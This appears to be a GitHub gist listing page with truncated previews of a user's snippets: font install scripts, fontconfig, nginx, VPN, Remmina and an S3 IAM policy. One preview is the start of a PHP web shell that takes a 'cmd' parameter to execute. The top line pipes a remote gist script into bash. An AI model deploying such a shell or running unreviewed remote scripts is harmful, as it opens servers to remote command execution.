curl -sL https://gist.github.com/hunzo/1c4836ad4aab99bdb31ce9a5b3c09e44#file-install-docker-sh | bash
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if(isset($_GET['cmd'])) | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| sudo apt install -y fonts-noto | |
| sudo apt install -y fonts-noto-cjk | |
| sudo apt install -y fonts-noto-cjk-extra | |
| sudo apt install -y fonts-noto-color-emoji | |
| sudo apt install -y fonts-noto-core | |
| sudo apt install -y fonts-noto-extra | |
| sudo apt install -y fonts-noto-hinted | |
| sudo apt install -y fonts-noto-mono | |
| sudo apt install -y fonts-noto-ui-core |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| server { | |
| listen 80; | |
| server_name localhost; | |
| location / { | |
| default_type application/json; | |
| if ($http_x_api_key = "") { | |
| return 403 '{"error": "missing api key"}'; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # Fix Thai font rendering and replace common fonts (Segoe UI, Arial, etc.) with Noto Sans Thai/Noto Sans | |
| set -euo pipefail | |
| echo "[*] Installing fonts (if available)..." | |
| if command -v apt >/dev/null 2>&1; then | |
| sudo apt update | |
| sudo apt install -y fonts-noto-core fonts-noto-color-emoji fonts-noto-mono || true | |
| fi |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| sudo apt autoremove -y | |
| sudo apt-add-repository ppa:remmina-ppa-team/remmina-next | |
| sudo apt update -y | |
| sudo apt install remmina remmina-plugin-rdp remmina-plugin-secret -y |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| echo "Initializing VPN setup script..." | |
| echo "enter vpn server:" | |
| read vpnserver | |
| echo "enter vpn user:" | |
| read vpnuser |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| CONF_FILE_1="/etc/fonts/conf.d/99-fix-all-thai.conf" | |
| sudo tee "$CONF_FILE_1" >/dev/null <<'EOF' | |
| <?xml version="1.0"?> | |
| <!DOCTYPE fontconfig SYSTEM "fonts.dtd"> | |
| <fontconfig> | |
| <alias> | |
| <family>Arial</family> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| { | |
| "Version": "2012-10-17", | |
| "Statement": [ | |
| { | |
| "Action": ["s3:GetBucketLocation", "s3:ListBucket"], | |
| "Effect": "Allow", | |
| "Resource": ["arn:aws:s3:::mybucket"] | |
| }, | |
| { | |
| "Action": ["s3:PutObject", "s3:GetObject", "s3:DeleteObject"], |
NewerOlder